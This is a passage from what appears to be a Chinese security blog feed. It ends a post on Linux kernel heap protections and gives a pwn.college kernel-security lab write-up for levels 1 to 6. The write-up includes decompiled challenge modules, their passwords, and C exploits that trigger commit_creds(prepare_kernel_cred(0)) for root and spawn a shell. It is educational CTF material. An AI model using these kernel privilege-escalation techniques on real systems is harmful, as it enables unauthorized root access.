&lt;li&gt;写入的数据长度是否超出目的 object 范围。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这一保护被用于 &lt;code&gt;copy_to_user()&lt;/code&gt; 与 &lt;code&gt;copy_from_user()&lt;/code&gt; 等数据交换 API 中，不过这种保护 &lt;em&gt;&lt;strong&gt;不适用于内核空间内的数据拷贝&lt;/strong&gt;&lt;/em&gt; ，这也是目前主流的绕过手段。&lt;/p&gt;
&lt;h2&gt;Hardened freelist&lt;a href=&quot;https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/#hardened-freelist&quot;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;类似于 glibc 2.32 版本引入的保护，在开启这种保护之前，slub 中的 free object 的 next 指针直接存放着 next  free object 的地址，攻击者可以通过读取 freelist 泄露出内核线性映射区的地址，在开启了该保护之后 free object 的 next 指针存放的是由以下三个值进行异或操作后的值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前 free object 的地址。&lt;/li&gt;
&lt;li&gt;下一个 free object 的地址。&lt;/li&gt;
&lt;li&gt;由 kmem_cache 指定的一个 random 值。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;攻击者至少需要获取到第一与第三个值才能篡改 freelist，这无疑为对 freelist 的直接利用增添不少难度。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在更新版本的 Linux kernel 中似乎还引入了一个偏移值，笔者尚未进行考证。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Random freelist&lt;a href=&quot;https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/#random-freelist&quot;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;这种保护主要发生在 slub allocator 向 buddy system 申请到页框之后的处理过程中，对于未开启这种保护的一张完整的 slub，其上的  object 的连接顺序是线性连续的，但在开启了这种保护之后其上的 object 之间的连接顺序是随机的，这让攻击者无法直接预测下一个分配的  object 的地址。&lt;/p&gt;
&lt;p&gt;需要注意的是这种保护发生在 &lt;strong&gt;slub allocator 刚从 buddy system 拿到新 slub 的时候，运行时 freelist 的构成仍遵循 LIFO&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/kernel_base/img/kernel-base-7.png&quot; alt=&quot;random_freelist&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CONFIG_INIT_ON_ALLOC_DEFAULT_ON&lt;a href=&quot;https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/#config_init_on_alloc_default_on&quot;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;当编译内核时开启了这个选项时，在内核进行 “堆内存” 分配时（包括 buddy system 和 slab allocator），&lt;strong&gt;会将被分配的内存上的内容进行清零&lt;/strong&gt;，从而防止了利用未初始化内存进行数据泄露的情况。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;据悉性能损耗在 &lt;code&gt;1%~7%&lt;/code&gt; 之间。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;CTF kernel pwn 相关&lt;/h1&gt;
&lt;p&gt;传统的 kernel pwn 题目通常会给以下三个文件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;boot.sh: 一个用于启动 kernel 的 shell 的脚本，多用 qemu，保护措施与 qemu 不同的启动参数有关&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;bzImage: compressed kernel binary&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rootfs.cpio: 文件系统映像&lt;/p&gt;
&lt;p&gt;以 CISCN2017 - babydriver 为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CISCN2017_babydriver [master●] ls
babydriver.tar
CISCN2017_babydriver [master●] x babydriver.tar
boot.sh
bzImage
rootfs.cpio
CISCN2017_babydriver [master●] ls
babydriver.tar  boot.sh  bzImage  rootfs.cpio
CISCN2017_babydriver [master●] file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 4.4.72 (atum@ubuntu) #1 SMP Thu Jun 15 19:52:50 PDT 2017, RO-rootFS, swap_dev 0x6, Normal VGA
CISCN2017_babydriver [master●] file rootfs.cpio
rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix, original size 2844672
CISCN2017_babydriver [master●] file boot.sh
boot.sh: Bourne-Again shell script, ASCII text executable
CISCN2017_babydriver [master●] bat boot.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: boot.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/bash
   2   │ 
   3   │ qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append &apos;console=ttyS0 ro
       │ ot=/dev/ram oops=panic panic=1&apos; -enable-kvm -monitor /dev/null -m 64M --nographi
       │ c  -smp cores=1,threads=1 -cpu kvm64,+smep
───────┴─────────────────────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中主要的 qemu 参数含义如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;-initrd rootfs.cpio，使用 rootfs.cpio 作为内核启动的文件系统&lt;/li&gt;
&lt;li&gt;-kernel bzImage，使用 bzImage 作为 kernel 映像&lt;/li&gt;
&lt;li&gt;-cpu kvm64,+smep，设置 CPU 的安全选项，这里开启了 smep&lt;/li&gt;
&lt;li&gt;-m 64M，设置虚拟 RAM 为 64M，默认为 128M&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其他的 qemu 参数可以通过 --help 查看。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;相比起常规的 pwn 题，kernel pwn 打远程会是一个比较漫长的过程，因为大部分的时间都会花在这个文件传输上。我们可以使用 musl-C、uclibc 等库来大幅降低可执行文件的大小，对于时间比较充足的题目也可以使用纯汇编来编写 exp。&lt;/p&gt;
</content:encoded></item><item><title>PwnCollege-kernel-base</title><link>https://sceace.net/posts/2026-03-02-pwncollege/</link><guid isPermaLink="true">https://sceace.net/posts/2026-03-02-pwncollege/</guid><description>Pwncollege的内核基础练习题</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;After text&lt;/h1&gt;
&lt;p&gt;这个是我正式开始的kernel pwn练习题，地址：&lt;a href=&quot;https://pwn.college/system-security/kernel-security/&quot;&gt;pwncollege&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先简单的说明一下怎么从pwncollege上下载&lt;code&gt;ko&lt;/code&gt;模块文件，我们需要切换成将左下角的&lt;code&gt;Terminal&lt;/code&gt;切换成&lt;code&gt;Code&lt;/code&gt;，然后打开文件夹&lt;code&gt;/challege/&lt;/code&gt;这里就是我们的模块文件所在的地方了，我们只需要右键Download下来即可&lt;/p&gt;
&lt;p&gt;如果需要使用它的vm环境，就需要在他的终端上使用&lt;code&gt;vm connect&lt;/code&gt;,这样就会连接到远程的vm环境，更多选项可以使用&lt;code&gt;vm --help&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;level1.0&amp;amp;&amp;amp;leave1.1&lt;/h1&gt;
&lt;p&gt;使用ida打开，首先查看&lt;code&gt;init_module&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl init_module()
{
  __int64 v0; // rbp

  v0 = filp_open(&quot;/flag&quot;, 0, 0);
  memset(flag, 0, sizeof(flag));
  kernel_read(v0, flag, 128, v0 + 104);
  filp_close(v0, 0);
  proc_entry = (proc_dir_entry *)proc_create(&quot;pwncollege&quot;, 438, 0, &amp;amp;fops);
  printk(&amp;amp;unk_8E1);
  printk(&amp;amp;unk_6E0);
  printk(&amp;amp;unk_8E1);
  printk(&amp;amp;unk_710);
  printk(&amp;amp;unk_778);
  printk(&amp;amp;unk_7D8);
  printk(&amp;amp;unk_828);
  printk(&amp;amp;unk_8E8);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到是打开&lt;code&gt;/flag&lt;/code&gt;这个文件，然后将读入&lt;code&gt;v0&lt;/code&gt;这个变量，使用&lt;code&gt;proc_create&lt;/code&gt;创建一个&lt;code&gt;pwncollege&lt;/code&gt;文件来交互，双击&lt;code&gt;&amp;amp;fops&lt;/code&gt;查看交互接口是&lt;code&gt;device_write&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.data:0000000000000AA0 fops            file_operations &amp;lt;0, 0, offset device_read, offset device_write, 0, 0, \
.data:0000000000000AA0                                         ; DATA XREF: init_module+4A↑o
.data:0000000000000AA0                                  0, 0, 0, 0, 0, 0, 0, 0, offset device_open, 0, \
.data:0000000000000AA0                                  offset device_release, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \
.data:0000000000000AA0                                  0, 0, 0, 0, 0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以，当我们向&lt;code&gt;/proc/pwncollege&lt;/code&gt;这个文件写入的时候，就会调用‘device_write’这个函数，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  size_t v5; // rdx
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-18h]

  v8 = __readgsqword(0x28u);
  printk(&amp;amp;unk_660);
  v5 = 16;
  if ( length &amp;lt;= 0x10 )
    v5 = length;
  copy_from_user(password, buffer, v5);
  device_state[0] = (strncmp(password, &quot;gyvcbzlksuywlujh&quot;, 0x10u) == 0) + 1;
  return length;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里可以看到一个很明显的密码判断。只需要我们输入 一致，就会使得&lt;code&gt;device_state[0]&lt;/code&gt;为2，而当我们使device_state[0]为2之后再次执行&lt;code&gt;cat /proc/college&lt;/code&gt;就会去执行device_read从而把flag打印出来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_read(file *file, char *buffer, size_t length, loff_t *offset)
{
  const char *v6; // rsi
  size_t v7; // rdx
  unsigned __int64 v8; // rax

  printk(&amp;amp;unk_6A0);
  v6 = flag;
  if ( device_state[0] != 2 )
  {
    v6 = &quot;device error: unknown state\n&quot;;
    if ( device_state[0] &amp;lt;= 2 )
    {
      v6 = &quot;password:\n&quot;;
      if ( device_state[0] )
      {
        v6 = &quot;device error: unknown state\n&quot;;
        if ( device_state[0] == 1 )
        {
          device_state[0] = 0;
          v6 = &quot;invalid password\n&quot;;
        }
      }
    }
  }
  v7 = length;
  v8 = strlen(v6) + 1;
  if ( v8 - 1 &amp;lt;= length )
    v7 = v8 - 1;
  return v8 - 1 - copy_to_user(buffer, v6, v7);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以，我们只需要输入正确的密码，然后‘cat /proc/pwncollege’就可以得到flag&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;exp&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在远程vm环境运行即可拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

#define get_Flag_Path  &quot;/proc/pwncollege&quot;

int main (){
        char * Passwd = &quot;gyvcbzlksuywlujh&quot;;
        int fd = open(get_Flag_Path,O_WRONLY);
       if (fd&amp;lt;0){
      	printf(&quot;OPEN ERROR check you File !!!\n And you fd is %d\n&quot;,fd);
       }
      if (write(fd,Passwd,strlen(Passwd))&amp;gt;0){
          printf(&quot;Fd is %d,You Are Win&quot;,fd);
      }
        close(fd);
        return EXIT_SUCCESS;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;leave1.1也是一样的解法&lt;/p&gt;
&lt;h1&gt;leave2.0&amp;amp;&amp;amp;leave2.1&lt;/h1&gt;
&lt;p&gt;先看程序一样的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl init_module()
{
  __int64 v0; // rbp

  v0 = filp_open(&quot;/flag&quot;, 0, 0);
  memset(flag, 0, sizeof(flag));
  kernel_read(v0, flag, 128, v0 + 104);
  filp_close(v0, 0);
  proc_entry = (proc_dir_entry *)proc_create(&quot;pwncollege&quot;, 438, 0, &amp;amp;fops);
  printk(&amp;amp;unk_79C);
  printk(&amp;amp;unk_5D8);
  printk(&amp;amp;unk_79C);
  printk(&amp;amp;unk_608);
  printk(&amp;amp;unk_670);
  printk(&amp;amp;unk_6D0);
  printk(&amp;amp;unk_718);
  printk(&amp;amp;unk_7A3);
  return 0;
}
.data:0000000000000920 fops            file_operations &amp;lt;0, 0, 0, offset device_write, 0, 0, 0, 0, 0, 0, 0, 0,\
.data:0000000000000920                                         ; DATA XREF: init_module+4A↑o
.data:0000000000000920                                  0, 0, offset device_open, 0, offset device_release, \
.data:0000000000000920                                  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0&amp;gt;
.data:0000000000000920 _data           ends
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到会调用device_write.那么接下来查看device_write&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  size_t v5; // rdx
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-18h]

  v8 = __readgsqword(0x28u);
  printk(&amp;amp;unk_598);
  v5 = 16;
  if ( length &amp;lt;= 0x10 )
    v5 = length;
  copy_from_user(password, buffer, v5);
  if ( !strncmp(password, &quot;kfjplhjtylqmntng&quot;, 0x10u) )
    printk(&amp;amp;format); //printk == printf 不过是打印在日志里面
  return length;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里ida出现了问题，没有把2参放出来，查看汇编如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.rodata.str1.1:0000000000000778 format          db    1                 ; DATA XREF: device_write+6C↑o
.rodata.str1.1:0000000000000779                 db  36h ; 6
.rodata.str1.1:000000000000077A                 db  54h ; T
.rodata.str1.1:000000000000077B                 db  68h ; h
.rodata.str1.1:000000000000077C                 db  65h ; e
.rodata.str1.1:000000000000077D                 db  20h
.rodata.str1.1:000000000000077E                 db  66h ; f
.rodata.str1.1:000000000000077F                 db  6Ch ; l
.rodata.str1.1:0000000000000780                 db  61h ; a
.rodata.str1.1:0000000000000781                 db  67h ; g
.rodata.str1.1:0000000000000782                 db  20h
.rodata.str1.1:0000000000000783                 db  69h ; i
.rodata.str1.1:0000000000000784                 db  73h ; s
.rodata.str1.1:0000000000000785                 db  3Ah ; :
.rodata.str1.1:0000000000000786                 db  20h
.rodata.str1.1:0000000000000787                 db  25h ; %
.rodata.str1.1:0000000000000788                 db  73h ; s
.rodata.str1.1:0000000000000789                 db  0Ah

================================================================================================================
.text.unlikely:0000000000000511                 mov     rsi, offset flag
.text.unlikely:0000000000000518                 mov     rdi, offset format ; 可以看到，会把flag当成二参打印出来
.text.unlikely:000000000000051F                 call    printk          ; PIC mode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

#define get_Flag_Path  &quot;/proc/pwncollege&quot;

int main (){
        char * Passwd = &quot;kfjplhjtylqmntng&quot;;
        int fd = open(get_Flag_Path,O_WRONLY);
       if (fd&amp;lt;0){
      	printf(&quot;OPEN ERROR check you File !!!\n And you fd is %d\n&quot;,fd);
       }
      if (write(fd,Passwd,strlen(Passwd))&amp;gt;0){
          printf(&quot;Fd is %d,You Are Win&quot;,fd);
      }
        close(fd);
        return EXIT_SUCCESS;
}
// 最后dmesg | tail -n 20,可以看到flag
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;leave3.0&amp;amp;&amp;amp;leave3.1&lt;/h1&gt;
&lt;p&gt;分析代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl init_module()
{
  proc_entry = (proc_dir_entry *)proc_create(&quot;pwncollege&quot;, 438, 0, &amp;amp;fops);
  printk(&amp;amp;unk_1041);
  printk(&amp;amp;unk_E78);
  printk(&amp;amp;unk_1041);
  printk(&amp;amp;unk_EA8);
  printk(&amp;amp;unk_F10);
  printk(&amp;amp;unk_F70);
  printk(&amp;amp;unk_FB8);
  printk(&amp;amp;unk_1048);
  return 0;
}
.data:00000000000011A0 fops            file_operations &amp;lt;0, 0, 0, offset device_write, 0, 0, 0, 0, 0, 0, 0, 0,\
.data:00000000000011A0                                         ; DATA XREF: init_module↑o
.data:00000000000011A0                                  0, 0, offset device_open, 0, offset device_release, \
.data:00000000000011A0                                  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ssize_t __fastcall device_write(file *file, const char *buffer, size_t length, loff_t *offset)
{
  size_t v5; // rdx
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v8; // [rsp+10h] [rbp-18h]

  v8 = __readgsqword(0x28u);
  printk(&amp;amp;unk_E38);
  v5 = 16;
  if ( length &amp;lt;= 0x10 )
    v5 = length;
  copy_from_user(password, buffer, v5);
  if ( !strncmp(password, &quot;sfvzlmiqphywsyfk&quot;, 0x10u) )
    win();
  return length;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;void __cdecl win()
{
  __int64 v0; // rax

  printk(&amp;amp;unk_DF8);
  v0 = prepare_kernel_cred(0); 
  commit_creds(v0);			//值得注意的 是这两行代码 会提权，提升至root权限
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以其实很简单了，&lt;/p&gt;
&lt;p&gt;我们只要输入密码，就会正常的进入win,使得我们的权限提升至root,从而可以拿到flag&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

#define get_Flag_Path  &quot;/proc/pwncollege&quot;

int main (){
        char * Passwd = &quot;sfvzlmiqphywsyfk&quot;;
        int fd = open(get_Flag_Path,O_WRONLY);
       if (fd&amp;lt;0){
      	printf(&quot;OPEN ERROR check you File !!!\n And you fd is %d\n&quot;,fd);
       }
      if (write(fd,Passwd,strlen(Passwd))&amp;gt;0){
          printf(&quot;Fd is %d,You Are Win&quot;,fd);
      }
   	   system(&quot;cat /flag&quot;);
        close(fd);
        return EXIT_SUCCESS;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;leave3.1同理&lt;/p&gt;
&lt;h1&gt;leave4.0&amp;amp;&amp;amp;leave4.1&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl init_module()
{
  proc_entry = (proc_dir_entry *)proc_create(&quot;pwncollege&quot;, 438, 0, &amp;amp;fops);
  printk(&amp;amp;unk_531);
  printk(&amp;amp;unk_328);
  printk(&amp;amp;unk_531);
  printk(&amp;amp;unk_358);
  printk(&amp;amp;unk_3C0);
  printk(&amp;amp;unk_420);
  printk(&amp;amp;unk_460);
  printk(&amp;amp;unk_4A8);
  printk(&amp;amp;unk_538);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;0000680 fops            file_operations &amp;lt;0, 0, 0, 0, 0, 0, 0, 0, 0, 0, offset device_ioctl, 0,\
.data:0000000000000680                                         ; DATA XREF: init_module↑o
.data:0000000000000680                                  0, 0, offset device_open, 0, offset device_release, \
.data:0000000000000680                                  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到会调用device_ioctl，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 result; // rax
  int v5; // r8d
  char password[16]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v7; // [rsp+10h] [rbp-18h]

  v7 = __readgsqword(0x28u);
  printk(&amp;amp;unk_2F8);
  result = -1;
  if ( cmd == 1337 )
  {
    copy_from_user(password, arg, 16);
    v5 = strncmp(password, &quot;czmepuekljhzwqou&quot;, 0x10u);
    result = 0;
    if ( !v5 )
    {
      win();
      return 0;
    }
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单介绍一下ioctl函数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ioctl&lt;/code&gt; 是一个专用于设备输入输出操作的一个系统调用，其调用方式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int ioctl(int fd, unsigned long request, ...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其&lt;strong&gt;第一个参数为打开设备 (open) 返回的 &lt;a href=&quot;http://m4x.fun/post/play-with-file-descriptor-1/&quot;&gt;文件描述符&lt;/a&gt;&lt;/strong&gt;，第二个参数为&lt;strong&gt;用户程序对设备的控制命令&lt;/strong&gt;，再后边的参数则是一些补充参数，与设备有关。&lt;/p&gt;
&lt;p&gt;对于一个提供了 ioctl 通信方式的设备而言，我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过 ioctl 系统调用完成不同的对设备的 I/O 操作。&lt;/p&gt;
&lt;p&gt;而在这里要求了cmd是1337：之后就会触发比较，密码True就会进入win；&lt;/p&gt;
&lt;p&gt;所以，很简单了 ： exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define file_Path &quot;/proc/pwncollege&quot;
#define CMD 1337
#define Passwd &quot;czmepuekljhzwqou&quot;
int main() {
  int fd = open(file_Path, O_RDONLY);
  if (fd&amp;lt;0) {
    puts(&quot;File is Error! plase choose true file-path!&quot;);
  }
  ioctl(fd, CMD,Passwd);
  system(&quot;/bin/sh&quot;);
  close(fd);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;leave4.1同上&lt;/p&gt;
&lt;h1&gt;leave5.0&amp;amp;&amp;amp;leave5.1&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl init_module()
{
  proc_entry = (proc_dir_entry *)proc_create(&quot;pwncollege&quot;, 438, 0, &amp;amp;fops);
  printk(&amp;amp;unk_C5B);
  printk(&amp;amp;unk_A08);
  printk(&amp;amp;unk_C5B);
  printk(&amp;amp;unk_A38);
  printk(&amp;amp;unk_AA0);
  printk(&amp;amp;unk_B00);
  printk(&amp;amp;unk_B40);
  printk(&amp;amp;unk_B88);
  printk(&amp;amp;unk_BF8);
  printk(&amp;amp;unk_C62);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.data:0000000000000DA0 fops            file_operations &amp;lt;0, 0, 0, 0, 0, 0, 0, 0, 0, 0, offset device_ioctl, 0,\
.data:0000000000000DA0                                         ; DATA XREF: init_module↑o
.data:0000000000000DA0                                  0, 0, offset device_open, 0, offset device_release, \
.data:0000000000000DA0                                  0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall device_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 result; // rax

  printk(&amp;amp;unk_998);
  result = -1;
  if ( cmd == 1337 )
  {
    ((void (__fastcall *)(void *, file *))arg)(&amp;amp;unk_998, file); // 这里其实需要解释一下，arg是第三个参数，会把第三个参数当成函数地址去解析
    return 0;
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;void __cdecl win()
{
  __int64 v0; // rax

  printk(&amp;amp;unk_9C8);
  v0 = prepare_kernel_cred(0);
  commit_creds(v0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，只要我们把ioctl的第三个参数 布置成win的地址，就可以完成getshell&lt;/p&gt;
&lt;p&gt;但是win的地址我们怎么获得呢？这个涉及到内核的保护，其中有一个类似于用户态的保护&lt;code&gt;aslr&lt;/code&gt;---&amp;gt; &lt;code&gt;kaslr&lt;/code&gt;，这个保护的作用就是地址随机化，会把地址随机映射到一段空间，&lt;/p&gt;
&lt;p&gt;当然目前的是没有&lt;code&gt;kaslr&lt;/code&gt;的，也就是&lt;code&gt;nokaslr&lt;/code&gt;，而我们需要&lt;code&gt;cat /proc/kallsyms&lt;/code&gt;就可以看到地址了，不过我们需要root权限，如果你使用的是pwncollege的终端里面的vm,那么你需要在右下角将这个点击一下，使其处于开锁的图标状态;;;!!!!!!!切记，如果需要远程的flag,就需要把它切换成锁住的状态，但是这样无法使用&lt;code&gt;sudo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/pwncollege/img/leave5.0-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;从而可以使用&lt;code&gt;sudo su&lt;/code&gt;,如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.jsdelivr.net/gh/SceAce/picx-images-hosting@master/blog/pwncollege/img/leave5.0-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@vm_practice~kernel-security~level5-0:/home/hacker# cat /proc/kallsyms | grep win
ffffffff81050a70 T unwind_next_frame
ffffffff81051000 T __unwind_start
ffffffff81051220 T unwind_get_return_address
ffffffff81051250 T unwind_module_init
ffffffff81051300 T unwind_get_return_address_ptr
ffffffff81051327 t unwind_next_frame.cold
ffffffff810b3a30 T kmsg_dump_rewind
ffffffff810b6980 T kmsg_dump_rewind_nolock
ffffffff813bc350 t zlib_updatewindow
ffffffff813be740 t fill_window
ffffffff813e12d0 T pci_disable_bridge_window
ffffffff813e2da0 t extend_bridge_window.isra.0.part.0
ffffffff813e3a50 W pcibios_window_alignment
ffffffff81406410 t con2fb_acquire_newinfo
ffffffff8140cc60 T acpi_osi_is_win8
ffffffff81488f90 t hvc_set_winsz
ffffffff814aaed0 T iommu_domain_window_enable
ffffffff814aaef0 T iommu_domain_window_disable
ffffffff81543fc0 t __unwind_incomplete_requests
ffffffff81546980 T execlists_unwind_incomplete_requests
ffffffff815c6930 t dsi_program_swing_and_deemphasis
ffffffff815c6fa0 t gen11_dsi_voltage_swing_program_seq
ffffffff815cc7c0 t icl_ddi_combo_vswing_program
ffffffff815cca90 t icl_combo_phy_ddi_vswing_sequence
ffffffff815cd0b0 t cnl_ddi_vswing_program.isra.0
ffffffff815cd500 t cnl_ddi_vswing_sequence
ffffffff815cdd90 t icl_ddi_vswing_sequence
ffffffff815ce350 t bxt_ddi_vswing_sequence.isra.0
ffffffff81701a40 T pcmcia_release_window
ffffffff81701e20 T pcmcia_request_window
ffffffff81806bd0 t snd_pcm_rewind.part.0
ffffffff8182d430 t twinhead_reserve_killing_zone
ffffffff8182d6a7 t twinhead_reserve_killing_zone.cold
ffffffff81883db0 t tx_window_errors_show
ffffffff818e0600 t tcp_grow_window.isra.0
ffffffff818e9820 T tcp_select_initial_window
ffffffff818eb090 T __tcp_select_window
ffffffff818ef200 T tcp_send_window_probe
ffffffff818f58c0 T tcp_openreq_init_rwin
ffffffff819c5e50 t xprt_iter_no_rewind
ffffffff819c5e60 t xprt_iter_default_rewind
ffffffff81aa43b0 t minmax_subwin_update
ffffffff81c01480 T rewind_stack_do_exit
ffffffff82e66683 T unwind_init
ffffffff82e90e40 t __acpi_osi_setup_darwin
ffffffff82e90f4b t dmi_disable_osi_win8
ffffffff82e90f6a t dmi_disable_osi_win7
ffffffffc000092d t win  [challenge]                          ; 可以看到这里是win的地址
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以，我们的exp如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define file_Path &quot;/proc/pwncollege&quot;
#define CMD 1337
#define win_Addr 0xffffffffc000092d
int main() {
  int fd = open(file_Path, O_RDONLY);
  if (fd&amp;lt;0) {
    puts(&quot;File is Error! plase choose true file-path!&quot;);
  }
  ioctl(fd, CMD,win_Addr);
  system(&quot;/bin/sh&quot;);
  close(fd);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;leave5.1同上&lt;/p&gt;
&lt;h1&gt;leave6.0&amp;amp;&amp;amp;leave6.1&lt;/h1&gt;
&lt;p&gt;可以看到，首先创建了一块堆内存，用于存放shellcode,并且有可执行，可写的权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl init_module()
{
  shellcode = (unsigned __int8 *)_vmalloc(4096, 3264, _default_kernel_pte_mask &amp;amp; 0x163);
